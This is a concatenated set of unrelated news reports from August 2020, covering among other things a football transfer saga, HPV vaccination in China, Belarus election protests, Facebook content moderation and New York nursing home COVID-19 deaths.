wages and his agent's fees. United are determined not to repeat the mistakes of the past few years which has seen them make some costly mistakes in the transfer market. Manchester United could have to wait a while to sign Sancho as he 'secretly signed extension' German newspaper Ruhr Nachrichten - based in Dortmund - have reported that Sancho's contract does not include a buy-out clause. United and Dortmund were understood to have been far apart in terms of valuation, with the latter's CEO Hans-Joachim Watzke resolute in holding out for a huge 108m for their prized asset. Meanwhile, Manchester United were fighting with Copenhagen for a spot in the final four of the Europa League. An extra-time penalty from Bruno Fernandes was enough to beat the Danish side, who threatened with chances of their own in Germany. A young woman is inoculated with homegrown cervical cancer vaccine in Wuhan, Hubei Province, on May 18, 2020. [Xinhua] Juungar Banner in Ordos, Inner Mongolia Autonomous Region, became the first area in China to offer free vaccinations against human papilloma virus for female students ages 13 to 18, expecting to help prevent cervical cancer in about 11,000 young women. The new policy aims to promote health in women, said Wang Genhou, director of Juungar Banner Health Commission, adding that the region has seen high infection rates of HPV since it began cervical cancer inspections about 10 years ago. Cervical cancer, which can be caused by HPV, is one of the most common tumor diseases for women in China and is highly fatal. More than 100,000 women in China contracted cervical cancer in 2018, with 47,739 deaths, according to the latest data from the International Agency for Research on Cancer. Incidents and mortality related to cervical cancer have grown over the last two decades in the country as Chinese youth begin to have sexual intercourse at a younger age than in previous generations, which increases exposure to potential HPV infection, said Qiao Youlin, professor of epidemiology at the Cancer Hospital, Chinese Academy of Medical Sciences and Peking Union Medical College's School of Population Medicine and Public Health in Beijing. Li Caixia, 41, mother of a 15-year-old middle school student in Juungar Banner, said she is "happy to hear the news," and that all girls in her daughter's class have applied to get vaccinations. Yang Meiling, 39, a local teacher, said she immediately applied to get her daughter, 15, a vaccination. She said she has two female relatives infected with HPV, and one was confirmed to have contracted cervical cancer. "The local government has been providing free cervical and breast cancer examinations for years, and many people have shown abnormalities. Having the HPV vaccines to protect children, we parents feel much more reassured," she said. World Health Organization Director-General Tedros Adhanom Ghebreyesus called for action in 2018 to eliminate cervical cancer and recommended children from 9 to 14 to get HPV vaccinations. Concerning historic and cultural backgrounds, most Asian countries and regions, including China, mainly target 13 to 15-year-old girls in middle school for vaccination, Qiao added. "It's an effective way to protect the next generation from the HPV-caused diseases by getting the vaccination as early as possible," he said. The earliest HPV vaccine was put into market in 2006. Since then, 104 countries and regions have provided the shot among certain groups of young women for free, previous reports said. Qiao said the latest move by Juungar Banner is of great value and shows the government's determination to secure and improve people's health, adding that more cities may be inspired to follow. In 2018, the WHO set the goal for all member states to provide HPV vaccinations to 90 percent of girls under 15 by 2030. But the data may be less than 1 percent among Chinese girls from 9 to 14, Zhao Fanghui, director of epidemiology department of Cancer Hospital of Chinese Academy of Medical Sciences, told news outlet Caixin in a report in 2019. Experts said a lack of awareness, high prices and an insufficient supply of the vaccines are some of the challenges. Yu Luming, a national political adviser, put forward the proposal in May to offer all girls ages 9 to 14 free HPV vaccinations. (Source: China Daily) PHOENIX Navajo Nation President Jonathan Nez has asked President Donald Trump to commute the death sentence of a Navajo man convicted in the 2001 killing of a fellow tribal member and her 9-year-old granddaughter. Nez cited the tribes longstanding opposition to the death penalty in a July 31 letter to Trump that asks for the sentence of Lezmond Mitchell, the only Native American on federal death row, to be reduced to life in prison. Tribal officials and even the victims family opposed his death penalty, despite the grisly nature of the killings. Nez, who was scheduled to appear Tuesday before the U.S. pardon attorney in Washington in support of clemency for Mitchell, wrote that Navajo cultural teachings stress the sanctity of life and instruct against the taking of life for vengeance. This request honors our religious and traditional beliefs, the Navajo Nations long-standing position on the death penalty for Native Americans, and our respect for the decision of the victims family, Nez wrote in the letter to Trump, a vocal proponent of the death penalty. Mitchell is scheduled to be executed on Aug. 26 at the Federal Correctional Complex in Terra Haute, Indiana, where hes being held. He was among the first male inmates scheduled to be put to death after the U.S. Justice Department announced last year that the federal government would resume executing death row inmates for the first time since 2003. The Justice Department carried out three executions last month. In addition to Mitchells execution, three other men are scheduled to be put to death in August and September. His lawyers are seeking a stay of execution in federal court in Phoenix and making the clemency request to Trump through the U.S. pardon attorney in Washington. Mitchell fatally stabbed Alyce Slim, 63, and then forced her 9-year-old granddaughter to sit beside her grandmothers lifeless body as he drove about 40 miles (64 kilometers), before he slit the young girls throat. Their beheaded, mutilated bodies were found in a shallow grave on the reservation. Mitchell stole the womans car and later robbed a trading post in Red Valley, Arizona. American Indian tribes for decades have been able to tell federal prosecutors if they want a death sentence considered for certain crimes on their land. Nearly all have rejected that option. Mitchell was convicted of carjacking resulting in death a crime that carries a possible death sentence no matter where it happens, meaning the tribe had no avenue to object. The U.S. Justice Department, which is arguing against delaying the execution, declined to comment on the clemency request. There was a time when the region was frowned on in Arabic political discourse. Although the word does not immediately signify a political entity or political boundaries, there was always a concern that it might be used to circumvent Arab nation, which was closer and dearer to the pan-Arab spirit, or to dilute Arab identity into a larger region such as the Middle East or Greater Middle East, which would come along later. However, region eventually acquired some acceptance, at least outside the Arab nationalist framework. In the 1980s, for example, we began to speak of the Arab Gulf region as epitomised by the Gulf Cooperation Council (GCC). There followed similar councils such as the Arab Cooperation Council and the Maghreb Nations Cooperation Council. Some of these councils faded away or lost their efficacy, but they all stood for distinct regions characterised by territorial contiguity and good neighbourly relations. Other parts of the world, from East to West Africa and from South to Southeast Asia, have seen the rise of similar regions. Benelux and the Nordic Council are concrete examples in Europe, and Mercosur is another example in South America. Cooperative regions have also formed among countries in the same river basin, such as the Danube, Amazon and Mekong. The Eastern Mediterranean Region is a newcomer and a new type of region. Rather than organising cooperation in a navigational zone, its purpose is to strengthen cooperation in the production of natural wealth; in this case, oil and gas. To lay the cornerstones of a maritime region, it was necessary to demarcate maritime borders. This took place in accordance with the UN Convention on the Law of the Sea (UNCLOS) which, since its conclusion in 1982, has become one of the main instruments of international law for delineating the boundaries of maritime regions and the economic zones of their constituent states. If the maritime border agreement signed between Egypt and Saudi Arabia on 8 April 2016 laid the foundations for a Red Sea economic cooperation region between the two countries and, perhaps, a security cooperation zone between them and other Red Sea countries, the maritime economic zone border agreement that Egypt and Cyprus signed on 17 February 2003 made it possible to invite other Eastern Mediterranean nations to cooperate in the extraction, processing and marketing of oil and gas. Efforts towards this end culminated in the creation of the Eastern Mediterranean Gas Forum (EMGF) in 2019, bringing together Egypt, Palestine, Jordan, Israel, Cyprus, Greece and Italy. Then followed the Greek-Italian maritime boundary agreement concluded in June this year and the Egyptian-Greek maritime boundary agreement signed 6 August. In addition, Egypt and Cyprus signed an agreement to pump Cypriot gas to Egypt for liquefaction and reexport while another agreement was signed between Egypts Malfins firm and the US-based Noble Energy firm, which operates the Israeli gas fields, to pump gas to Egypt for the same purposes. The foregoing political and legal transactions were set into motion by the discoveries of large underwater gas fields, such as the Israeli Tamar and Leviathan fields, Cypruss Aphrodite and Egypts Zohr field. The United States Geological Survey recently estimated that the Eastern Mediterranean basin contains natural gas worth from $700 billion to $3 trillion. But the Eastern Mediterranean region is not just about geo-economics connected with the sources, utilisation and distribution of wealth and the realisation of prosperity for participant nations. It also says quite a bit about geopolitics, because it is a region adjacent to areas teeming with historical conflicts, conflicting interests and arms races, such as the Arab-Israeli conflict and the Greek-Turkish conflict. Although Egypt and Jordan have signed peace agreements with Israel and cooperation agreements in various fields, the Palestinian-Israeli conflict is still seething even if both the Palestinian Authority and Israel are part of the EMGF. In addition, the climate between Israel and Syria and Lebanon is still volatile because of Iranian interventions in the latter two countries. Although the US tried to intervene to help delineate the maritime border between Israel and Lebanon, the negotiations failed to produce an agreement. The EMGF region also abuts on the Syrian crisis with its nearly decade-long civil war that has invited Russian, Turkish and Iranian intervention which, in turn, triggered other crises and disputes. But perhaps more importantly, it borders on Turkey which has begun to threaten the entire region. This is less because it also has a shore overlooking the Eastern Mediterranean than because of a host of complexities starting with its disputes with Greece over maritime borders and passing through that long-lasting dispute over Cyprus, which is divided between the predominantly Greek Republic of Cyprus, which is a member of the EU, and the Turkish-occupied Turkish Republic of Cyprus, which no one recognises apart from Turkey. More ominously, Turkey has taken its historical contradictions and complexes deep into the Mediterranean and all the way across to Libya where it signed an agreement with the Tripoli-based Government of National Accord (GNA) to demarcate a maritime border where no one could logically exist. Such actions have triggered a major crisis in the entire Mediterranean. If, on the surface, it appears to centre on who controls Libya (and, by extension, access to Libyan oil), it essentially involves a Turkish bid to secure a big enough seat for itself on Middle East tables to force others to recognise a de facto state that no one has recognised to date, thinking that this will legitimise Turkish warships harassment of Egypt, Greece and others in the Mediterranean while its drill ships dig for gas and oil in others economic waters. In the meantime, Turkey continues to make war in Iraq and Syria and to transfer its mercenaries to Libya. The Eastern Mediterranean region is manifested in a form of regional cooperation that offers member states the opportunities for development, progress, mutual dependency and even peace among disputants. Unfortunately, Turkey has a leadership that sees itself as a latter-day Ottoman conqueror. It is in the process of escalating a southern expansionist drive, taking advantage of balances of powers that are skewed in its favour, especially in light of the sapped strength and resources of both Syria and Iraq. Iran is no countervailing force because of Ankaras relations with Tehran, directly or via Syria and Lebanon. Nor does Israel stand in its way, due to Ankaras eagerness to play Israeli ally when it suits it and to play advocate for Palestinian rights when expedient. In order to confront the Turkish threat to the Middle East, the Arabs will need to reverse the balance of powers between them and Turkey, and they will need to devise a vision for managing strategic alliances opposed to Ankaras dangerous ambitions. The writer is chairman of the board, CEO and director of the Regional Centre for Strategic Studies. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: Protest: A Belarusian law enforcement officer approaches women sitting on the pavement during a rally of opposition supporters following the presidential election in Minsk, Belarus. Photo: Vasily Fedosenko/Reuters The Belarus Interior Ministry says one protester has died in clashes with police in the capital as thousands protested for a second straight night after official results from weekend elections gave an overwhelming victory to authoritarian President Alexander Lukashenko, extending his 26-year rule until 2025. Mr Lukashenko responded with a crackdown on demonstrations, deriding the opposition as "sheep" manipulated by foreign masters. Dozens were injured and thousands detained hours after Sunday's vote, when police broke up mostly young protesters with tear gas, water cannons and stun grenades and beat them with truncheons. Rights activists said one person died after being run over by a police truck, which the authorities denied. Election officials said Mr Lukashenko won a sixth term in office with 80pc of the vote, while opposition challenger Svetlana Tikhanouskaya got 10pc. She dismissed the official results as a sham and submitted a formal request for a recount to the Central Election Commission. Yesterday evening, scattered groups of opposition supporters began gathering in central Minsk, chanting "Freedom!" and "Long live Belarus!" Heavy police contingents deployed to block central squares and roads. Later, about 1,000 protesters gathered near a big shopping mall in central Minsk, and police used stun grenades and rubber bullets to disperse them. The Viasna rights group said protesters also gathered in several other cities including Brest, Mogilev and Vitebsk, where detentions also took place. The police crackdown drew criticism from European capitals and is likely to complicate Mr Lukashenko's efforts to mend ties with the West amid tensions with his main ally and sponsor, Russia. But the president, whose iron-fisted rule since 1994 has fuelled growing discontent in the ex-Soviet nation of 9.5 million, warned that he would not hesitate to use force again to disperse the opposition demonstrations. He argued that the protesters met a due response overnight after injuring 25 police officers and attempting to take control of official buildings in several Belarusian cities, adding: "We will not allow them to tear the country apart." The 65-year-old former state farm director said the opposition was being directed from Poland and the Czech Republic, adding that some groups in Ukraine and Russia could also have been behind the protests. "They are directing the (opposition) headquarters where those sheep don't understand what they want from them," he said. Ms Tsikhanouskaya, a 37-year-old former English teacher without any prior political experience, entered the race after her husband, an opposition blogger who had hoped to run for president, was arrested in May. She has managed to unite fractured opposition groups and draw tens of thousands to her campaign rallies - the largest opposition demonstrations since the 1991 collapse of the Soviet Union. Enzymes used by bacteria to break down mucus in the gut could provide a useful biomarker for intestinal diseases, according to new research published in Nature Communications. Researchers at the University of Birmingham and Newcastle University have successfully identified and characterised one of the key enzymes involved in this process. They demonstrated how the enzyme enables bacteria to break down and feed off sugars in the layers of mucus lining the gut. The research offers a significant step forward in our understanding of the complex co-dependent relationships at work in the gut, about which little is currently known. Because the mechanism used by the enzyme is particularly distinctive, the researchers anticipate it can be used in the development of new diagnostics for intestinal diseases. The molecules in mucus, called mucin, are constantly produced by the body to generate the layer of mucus in the gut that provides a barrier between the gut's complex populations of bacteria and the rest of the body. Mucin contain chains of sugar molecules called glycans, and these also provide an essential source of nutrients for bacteria. The team investigated how this enzyme sits on the outside of the bacterial cell and clips away parts of the mucin molecule, taking them inside the bacterial cell to be consumed. Because glycans are known to change when certain diseases are present in the body, the researchers anticipate it will be possible to use the enzymes to take a snapshot of the glycans within a biopsy and use that as a biomarker for early detection of the disease. Lead researcher, Dr Lucy Crouch, of the University of Birmingham's School of Biosciences, explains: "Mucus is structured a bit like a tree, with lots of different branches and leaves. Lots of the enzymes discovered so far might clip away some of the leaves to eat, but the enzyme we studied will clip away a whole branch - that's quite a distinctive mechanism and it gives us a useful biomarker for studying disease." The team have investigated this process in three different diseases. They examined tissue from adults suffering from ulcerative colitis and colorectal cancer, and from preterm infants with necrotising enterocolitis, a serious illness in which the gut becomes inflamed and can start to die. They found that by adding the enzyme to the samples and labelling the glycans with a fluorescent dye, they were able to get useful information about the glycan structure. Dr Crouch adds: "Although we still don't fully understand what the glycan structures are made from and how these vary between different tissue types, we can see that the differences in structure between health and non-healthy tissue is quite distinctive. We hope to be able to use these enzymes to start producing better diagnostics for the very early stages of these diseases." ### Notes to editor: * The University of Birmingham is ranked amongst the world's top 100 institutions. Its work brings people from across the world to Birmingham, including researchers, teachers and more than 6,500 international students from over 150 countries. * Crouch et al (2020). 'Prominent members of the human gut microbiota express endo-acting O-1 glycanases to initiate mucin breakdown'. Nature Communications. DOI: 10.1038/s41467-020-17847-5 Facebook took down 22.5 million posts for hate speech during the second quarter of this year, more than ten times the number it removed in the same quarter last year and more than twice the number removed in the first quarter of 2020. Why it matters: The company is facing enormous pressure from the advertising and civil rights communities to address hate speech on its platforms. Last month, civil rights groups initiated a Facebook ad boycott that was joined by over 1,000 advertisers. Driving the news: The company said Tuesday it's getting better at policing hate speech, noting in its sixth "Community Standards Enforcement Report" that 95% of all hate speech on its platforms was caught by automated systems before it was ever seen by users up from 89% during the first quarter of 2020. Facebook attributed the increase in action against hate speech content to the expansion of some of its automation technology in Spanish, Arabic and Indonesian, as well as improvements to its English detection technology in Q1. The company said improvements to its technology also helped it increase the amount of terrorism content that it was able to take action on. Facebook also announced updated policies around certain kinds of implicit hate speech. It said that content depicting blackface or stereotypes about Jewish people controlling the world will now be considered violations of its hate speech policies. Between the lines: The company said it also removed over 7 million instances of harmful COVID-19 misinformation from Facebook and Instagram, and slapped warning labels on about 98 million pieces of COVID-19 misinformation on Facebook. The big picture: Facebook said that the absence of content reviewers in Q1 due to the pandemic was a reminder that filtering for bad content isn't a binary task it must be done using humans and automation in tandem. The company acknowledged that part of the reason it was able to better police misinformation in the second quarter was because content moderators were permitted to work remotely in the second quarter. The company initially sent its content reviewers home in March due to the pandemic. As a result of having fewer content reviewers, the company said it took less action on both Facebook and Instagram for suicide and self-injury, and child nudity and sexual exploitation on Instagram. It also said it was able to address fewer content appeals. What's next: Facebook VP of Integrity Guy Rosen said the company is looking to have an independent third-party audit to validate its internal numbers around hate speech and content moderation. He said Facebook is looking for the audit conductor now and is looking to do an audit in 2021. Source: Xinhua| 2020-08-10 22:43:42|Editor: huaxia Video Player Close HELSINKI, Aug. 10 (Xinhua) -- The value of new orders in manufacturing in Finland was 11.8 percent lower in June 2020 than that of the corresponding month last year, Statistics Finland reported on Monday. From January to June this year, new orders in manufacturing decreased by 11.3 percent from the same period of 2019. New orders have declined continuously for six months, Statistics Finland noted. However, the decline was considerably slower in June than in May, when new orders fell by 28.2 percent year-on-year. The paper and paper board industry, a pillar industry in Finland, showed a decline of 22.6 percent in new orders in June year on year. As for the metal industry, new orders went down by 8.3 percent in June from the previous year and in the chemical industry, the decline was 11.6 percent. Current production was falling in almost all main industries of Finland in June, compared with a year earlier. Output went down most in the chemical industry, by 11.4 percent. In the forest industry, output dropped by 6.9 percent whereas in the metal industry, it fell 3.8 percent from June 2019, according to Statistics Finland. Economic observers believe that in light of the new numbers the long-term impact of the COVID-19 pandemic to Finland appears increasingly serious. Jukka Appelqvist, an economist with Danske Bank, noted in a press release that Finland might face "a gradual sinking into an era of lower production volumes." Heidi Schauman, chief economist at Swedbank, predicted that Finnish industries would have a difficult autumn and winter. Enditem Congress leader Sachin Pilot here on Tuesday said he has not demanded any post from the party and there should not be any vendetta politics as he returned to Jaipur nearly a month after his revolt against Chief Minister Ashok Gehlot. On Monday, a meeting between Sachin Pilot and Congress leader Rahul Gandhi had signalled an amicable resolution of nearly a month-long Rajasthan political crisis ahead of the crucial assembly session beginning August 14. The Congress leader told reporters that he did not make any statement against the party and had gone to discuss issues with the Congress high command in Delhi. I have not demanded any post from the party, he added. Pilot, however, said he was shocked at statements made against him. I am sad, shocked and hurt due to the kind of words used against me, Pilot said. He said there should not be any space for personal ill-feelings in politics and there should not be any vendetta politics. A large number of his supporters gathered outside his residence to welcome him as he drove down to Jaipur from New Delhi in his car. PTI AG RDK RDK RDK On 9 August 2019 during the early evening hours, a tornado passed through both municipalities and left a path of destruction. The images of the tornado remain vivid in people's memories, even one year after the event. Although weather forecasts predicted storms on the night in question, nobody expected such severe disturbances: broken power poles and trees, flying roof tiles, and damaged cars. The tornado hit both Petange and Bascharage with all its power. 19 people were injured that evening, with luckily no casualties. The path of destruction remains significant nevertheless. 180 buildings were damaged, with around 100 people no longer being able to sleep at home and in need of accommodation elsewhere. Emergency services, the police, and even the Luxembourg Army worked tirelessly at the scene after the storm. Paul Schroeder, director of CGDIS, explained the following morning that additional support was provided by French emergency services during the night. The most pertinent safety measures were all taken as quickly as possible to eliminate any further repercussions from the destruction. Clearing operations, which were launched the day after the storm, lasted several weeks. Meteolux later released details on the nature of the tornado, which was classified with an F2 level intensity by the European Severe Storms Laboratory (ESSL). Wind velocity ranged between 180 and 250 km/h. The tornado moved 14 kilometres in total across a wide-spread area. The storm was triggered by a so-called "supercell", which formed in France above Reims and then moved towards the Grand Duchy. One year after the tornado: how is the situation now? One year after the tornado Den 9. August 2019 huet en Tornado Deeler vun de Gemenge Kaerjeng a Peiteng zersteiert. Several houses have received a fresh paint job, replaced their roofs, and appear like nothing ever happened. Other houses remain vacant to this day, the owners still struggling to find a solution with insurance companies. Dominique and Guy Peters lived in their house for 23 years, which was rendered inhabitable by the storm. Although they first believed that a solution could be found quickly, repairs on their home have only recently started, almost 12 months after the events. More than one million in donations were received by the municipalities over the past months, over 600,000 euros having already been assigned. Family Peters in Rue Neuve has yet to receive their share. Out of the 30 severely damaged houses in Petange, 24 remain inhabitable to this day. "You cannot clap with one hand": UNODC and African States prioritize regional cooperation in combating organized crime in the context of COVID-19 New York (USA), 10 August 2020 - Ministers from Cote dIvoire, Egypt, Djibouti, Rwanda, Tanzania and Burkina Faso came together with the African Union (AU) Permanent Observer to the UN and the United Nations Office on Drugs and Crime (UNODC) virtually on 22 July to highlight the importance of regional cooperation in combating organized crime in Africa in the context of COVID-19. African Ministers unanimously welcomed the opportunity for collectively discussing ways to counter organized criminal groups which are taking advantage of increased vulnerabilities caused by the COVID-19 pandemic in Africa. UNODC Executive Director, Ghada Waly, outlined the ways in which UNODC is working with partners in Africa across 35 countries to combat organized crime and help countries build back better from the COVID-19 crisis. This includes online technical assistance programmes, efforts to protect recovery funds in Africa from diversion into organized crime, and a forthcoming Strategic Vision for Africa 2020-2030. Highlighting that organized crime is an enemy that is empowered and emboldened by the very conditions that hold back our societies, Ms Waly stressed that If we are to succeed against this enemy, we need partnerships and coordinated efforts to address gaps and build robust cooperative frameworks. Speakers shared experiences of how COVID-19 is providing new opportunities in Africa for trafficking in persons, smuggling of migrants, cybercrime, corruption, maritime crime, drug trafficking, production of counterfeit medical products, and wildlife crime. As Mahamoud Ali Youssouf, Minister of Foreign Affairs and International Cooperation, Djibouti put it, organized criminal groups have adapted to profit from COVID-19. Many states also recognized that, as we celebrate the 20th anniversary of the UN Convention against Transnational Organized Crime (UNTOC) in 2020, UNTOC continues to provide a framework for guiding international cooperation. Vincent Biruta, Minister of Foreign Affairs and International Cooperation, Rwanda, highlighted that UNTOC represents the most effective framework for facilitating strengthened cooperation at the judicial level. Overall, in building back from COVID-19, states called for a robust, inclusive, cooperative approach based on shared responsibility between all African states. As Ally Coulibaly, Minister of Foreign Affairs, Cote d'Ivoire, put it, states cannot tackle organized crime alone. Palamagamba Kabudi, Ministry of Foreign Affairs and East African Cooperation, Tanzania similarly highlighted the importance of such cooperation in the context of overstretched state resources. States called for holistic, comprehensive approaches which address both the symptoms and causes of crime, and protect human rights and gender equality. Looking ahead, Hamdi Sanad Loza, Deputy Foreign Minister for African Affairs, Egypt, noted UNODCs support will be instrumental. Finally, in shaping the future of Africa beyond COVID-19, states recalled that the Sustainable Development Goals provide a crucial roadmap for recovery as states work together to be able to clap with two hands. Aug 4 (Reuters) - A court in Cape Verde has rejected an appeal from a detained Colombian businessman seeking to avoid extradition to the United States on money laundering charges, his defense team said on Tuesday. Alex Saab, who has been working on behalf of Venezuelan President Nicolas Maduro, was arrested in June when a plane he was traveling on landed in the West African island nation. Maduro's government said Saab was traveling as a state "agent" on business to obtain humanitarian supplies to help combat the coronavirus pandemic. The United States last year charged Saab in connection with a bribery scheme to take advantage of Venezuela's state-controlled exchange rate. It also sanctioned him for allegedly orchestrating a corruption network that allowed him and Maduro to profit from a state-run food subsidy program. Saab's defense team, led by former Spanish judge Baltasar Garzon, said in a statement that it would appeal the decision against "Special Envoy Saab" before Cape Verde's Supreme Court. If that appeal were to fail, Saab's lawyers said they would then make a request to the Constitutional Court. His lawyers called the U.S. charges "politically motivated." The U.S. Department of Justice said in June that Saab, who also has a Venezuelan passport, was arrested pursuant to an Interpol red notice issued with respect to his indictment. (Reporting by Angus Berwick Editing by Brian Ellsworth and David Gregorio) Advertisement A mesmerising photograph of a great white shark hanging 15ft in the air has set a record for the highest breach through the water ever recorded. Shark expert Chris Fallows took the shot at Seal Island in South Africa and was released as part of the Discovery Channel's 'Air Jaws' series. 'They say a picture is worth a thousand words. Well, that picture is worth a thousand breaches,' Fallows said. 'I can't believe how high it came out, it was just perfect ... a photo you dream of.' 'This has to be the ultimate air jaws breach,' Fallows added. This astonishing winning photo was captured by shark expert Chris Fallows off the coast of South Africa. Courtesy Jeff Kurr/Discovery Channel Shark expert Chris Fallows took the shot at Seal Island in South Africa and was released as part of the Discovery Channel's 'Air Jaws' series. One researcher used a drone, another tried to capture a breach at night, while Fallows used a purpose-built tow camera. The latest episode of Air Jaws saw the researchers tracking sharks and using different techniques to capture breaches through the surface of the water. One used a drone, another tried to capture a breach at night, while Fallows used a purpose-built tow camera. Fallows' record-breaking shot fittingly came on the 20th anniversary of the Air Jaws series. 'That last breach!!!' one Shark Week fan tweeted. Chris Fallows broke a Shark Week record when he snapped a shot of a great white soaring 15 feet in the air.The stunning moment, captured at Seal Island South Africa, was released as part of Air Jaws, a series started in 2001. The latest episode of Air Jaws saw the researchers tracking sharks and using different techniques to capture breaches through the surface of the water. 'A 15-foot breach? Absolutely breathtaking,' another wrote. And one user simply said: 'Absolutely Beautiful! That was amazing!' South African-born Fallows was, along with a colleague, the first to observe the breaching behaviour of great white sharks popularised by the Air Jaws show. Since then he has amassed one of the largest databases of predatory events involving the species, cataloguing some 9,500 incidences. 2 1 of 2 Buy this photo A view of The Grand Rehabilitation and Nursing at Barnwell on Tuesday, May 19, 2020, in Valatie, N.Y. (Paul Buckowski/Times Union) Paul Buckowski, Times Union Buy this photo A view of The Grand Rehabilitation and Nursing at Barnwell on Tuesday, May 19, 2020, in Valatie, N.Y. (Paul Buckowski/Times Union) Paul Buckowski, Times Union This story was originally published by ProPublica. VALATIE The nurse with the Columbia County Health Department recorded the COVID-19 deaths at nearby hospitals two at Albany Medical Center on May 4, another at the same hospital two days later; one at Columbia Memorial Hospital on May 17, and another there two days later and, along with her boss, concluded there was a pattern. The people dying at the hospitals had been residents of a local nursing home, the Grand Rehabilitation and Nursing at Barnwell in the tiny town of Valatie. In all, the nurse counted 18 deaths of residents over five weeks. She didnt have detailed medical records for the patients, but she noted that all had arrived at the hospital with orders saying no extraordinary measures were to be taken to keep them alive. As a result, she and the Columbia County health director developed a theory: For me, said Jack Mabb, the health director, it appeared they were sending people to the hospital so they wouldnt die in the facility. A change in the way New York tabulated nursing home deaths could have incentivized such behavior, he said, making homes records on COVID-19 containment appear better than they were. In the early weeks of the pandemic, the state had counted these deaths by attributing them to the nursing home regardless of where they physically occurred. But in April as the death toll related to nursing homes mushroomed, hitting as many as 250 deaths a day that changed: The administration of Gov. Andrew Cuomo decided not to count residents who died of COVID-19 in hospitals as nursing home deaths, saying it feared that their deaths would be double-counted if they were recorded that way. The administration insisted the move wasnt meant to suppress the numbers at nursing homes, facilities Cuomo had reassured the public were his top priority for protecting from the pandemic. In public testimony this month, Howard Zucker, the states health commissioner, defended the decision and argued that New York had been as transparent about nursing home casualties as any state in the nation. Today, more than 6,500 nursing home residents are known to have perished in New York facilities, some 6% of the states nursing home population. The state declined to say how many additional residents died in hospitals after being sickened in nursing homes. Mabb said that his departments nurse had sent reports about the deaths of Barnwell residents at local hospitals to state authorities, and that he had asked for an investigation. Some of the residents died soon after arriving at the hospitals, Mabb said, while others took longer to pass away. But the fact that all 18 had do-not-resuscitate orders or similar directives suggested to him that they had been sent to the hospitals with little hope of ever returning to the home. The department, Mabb said, shared its documenting of the deaths with the state. There are very few legitimate reasons for a nursing home to send seriously ill residents with do-not-resuscitate orders to a hospital unless there is a real chance that their conditions could be improved, Mabb said. We flagged it for the state. We told the Department of Health we thought something big was going on. Mabb said the state Health Department, which regulates nursing homes, has yet to tell him if its investigating what happened to the Barnwell residents. Bruce Gendron, a vice president of the company that operates the Barnwell nursing home and 15 others, rejected Mabbs claims that the home had sought to dump dying residents at local hospitals. He said that residents only would have been sent if they needed care beyond what the home could provide, and that those residents deserved every chance to survive. Gendron said any scheme to inappropriately send residents to die elsewhere would have involved the homes medical director and several of its nurses, all of whom are licensed by the state and would have been putting their careers at risk. Twice in May, state Health Department investigators conducted complaint surveys at the Barnwell home after scores of staff members and residents at the home tested positive for COVID-19. The Department of Health website shows that inspectors found problems with the facilitys ability to contain the virus: Uninfected residents were living alongside infected residents; residents suspected of having COVID-19 also were not separated. Some Barnwell staffers told the Health Department that they were confused about when they were supposed to wear masks and gloves or change out of old equipment and under what circumstances. The inspectors cited the facility and ordered a halt to additional admissions. Dozens of residents were eventually relocated. Gendron first told ProPublica that the allegations of dumping dying residents at hospitals had been investigated by the state Health Department and found to be unsubstantiated. Asked to produce such a finding, Gendron referred to the inspections done in May, saying the absence of any findings related to hospital transfers proved the home had been cleared. Barnwells quality of care related to COVID-19 had become a public controversy in May, prompting coverage in the local media, and Gendron said he assumed the state would have been alert to any other problems at the home, including signs of dumping residents. The states inspection reports make no mention of investigating hospital transfers. The Health Department did not respond to questions from ProPublica about whether it had investigated Mabbs allegations. ProPublica shared Gendrons version of events with the state, but again, the Health Department did not respond. Jill Montag, a department spokeswoman, appeared to be unaware of the allegations involving the homes dying residents, asking ProPublica to send along a record of them. There is little doubt that Barnwell, a 236-bed facility in the Hudson Valley, was overwhelmed by the virus this spring. From March 30 through the first week of June, according to county statistics, scores of staff members and residents tested positive for the virus. But trying to unpack what exactly unfolded at Barnwell lays bare the confusing and often conflicting available information about COVID-19s deadly path through the states elderly population. The county Health Department is responsible for identifying cases of COVID-19, and nursing homes are obligated to report such cases to it. But nursing homes are regulated by the state, and the county has a limited ability to make sure such facilities are responsibly reporting and managing outbreaks. Mabb said he had only received notifications from the Barnwell home on two deaths inside the facility. The state Health Department says online that the death toll from the home is 12. Mabb said he thought the first infection at Barnwell had involved a staff member; the state has said the first case of COVID-19 at the facility involved a resident, but it cant say with certainty what role if any the resident played in the eventual outbreak. Mabb said he has ultimately come to mistrust any information coming from either the state or officials with Barnwell. He said he counts the 18 deaths of Barnwell residents at the hospitals as nursing home deaths. ProPublica contacted the three hospitals where Barnwell residents died, but none would talk about the deaths or the countys allegation that residents had been sent to them to avoid being recorded as nursing home fatalities. As Gendron pointed out, decisions to send nursing home residents to the hospital for additional care are supposed to be approved by a homes medical director. He would not provide copies of such approvals involving the 18 residents who later died at hospitals, however, saying he didnt have the staff to do such work, and noted that some of the residents had been taken to the hospital after 911 calls, when a medical directors approval would not have been required. Sorting out the events at Barnwell, it turns out, also involves another disputed state policy: the order from the Health Department that nursing homes accept medically stable COVID-19 patients being discharged from hospitals. The policy also barred patients from being tested to see if they were still positive for the virus. The policy, enacted March 25, alarmed and angered many nursing home operators, families of residents, elected officials worried about an already vulnerable population being subjected to additional possible harm. The state, after a blizzard of criticism, abandoned the order some seven weeks after implementing it. Last month, the Health Department issued a report asserting that the policy had not significantly contributed to deaths of nursing home residents. The report was met with open skepticism among nursing home personnel, epidemiologists, and Republican and Democratic officials in New York and Washington. Those lawmakers repeated their calls for a truly independent investigation of the states handling of the COVID-19 crisis at its more than 600 nursing homes. In the Health Departments report, which said more than 6,400 COVID-19 patients had been sent from hospitals to nursing homes under the policy, the state said the vast majority of the roughly 310 homes that accepted those patients had already had a case of COVID-19 among their staff members or residents. The report said the spread of the virus in the homes had been driven by infected staff members. But the report made clear that dozens of homes had experienced no cases of COVID-19 before receiving a coronavirus patient from a nearby hospital. ProPublica asked the state to produce the data involving 58 homes that had not been affected prior to taking in a COVID-19 patient. Days later, the state Health Department said the data in its report had been inaccurate. And several days after that, the department said updated information indicated that just six homes, not 58, had been free of COVID-19 prior to the arrival of a patient from a hospital. The department would not answer an array of questions about how and why it had changed the data in its report, one it had used to defend its controversial policy. It would not say how what it had called a peer-reviewed study had relied on erroneous or incomplete data; it would not say how the new information had come to light. It did say, though, that the Barnwell home was one of the facilities that did not have a case of COVID-19 among its staff or residents prior to the first arrival of a COVID-19 patient from a hospital. The state, however, would not say when that transfer occurred or if it had studied what role, if any, it had played in the eventual outbreak that overran the facility. The county recorded Barnwells first COVID-19 case on March 30, two weeks before the surge in cases among both staff and residents. Ron 